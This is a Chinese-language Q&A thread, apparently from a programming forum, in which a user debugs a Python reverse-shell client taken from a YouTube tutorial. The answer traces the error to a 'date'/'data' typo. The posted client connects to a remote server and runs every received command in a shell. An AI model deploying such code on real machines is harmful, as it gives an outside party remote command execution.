2016-07-22 99 views
0

您好我在看關於反求一些教程使用python在YouTube上https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]套接字客戶端問題「__getitem__」

此客戶端的目的是從服務器接收命令外殼,服務器的偉大工程,但是,當我跑客戶也給了我這個

File "/root/Desktop/Revers/client.py", line 15, in <module> 
if data[:2].decode('utf-8') == "cd": 
TypeError: 'module' object has no attribute '__getitem_ 

這裏是代碼:

s = socket.socket() 
s.connect((host, port)) 

while True: 
    date = s.recv(1024) 
    if data[:2].decode('utf-8') == "cd": 
     os.chdir(data[3:].decode("utf-8")) 
    if len(data) > 0: 
     cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, 
          stdin=subprocess.PIPE) 
     output_bytes = cmd.stdout.read() + cmd.stderr.read() 
     output_str = str(output_bytes) 
     s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 
     print(output_str) 

s.close() 
+0

題外話:以root身份運行桌面環境是一個不好的主意。 –

回答

0

有在這一行一個錯字:

 date = s.recv(1024) 

date而不是data

所以表達式data[:2]調用data.__getitem__其中data之前定義。

由於關於'module' object的錯誤,我猜想data是您之前導入的模塊。

+0

是的,當然,當我檢查我看到我導入數據模塊從scapy 像:從scapy導入數據 –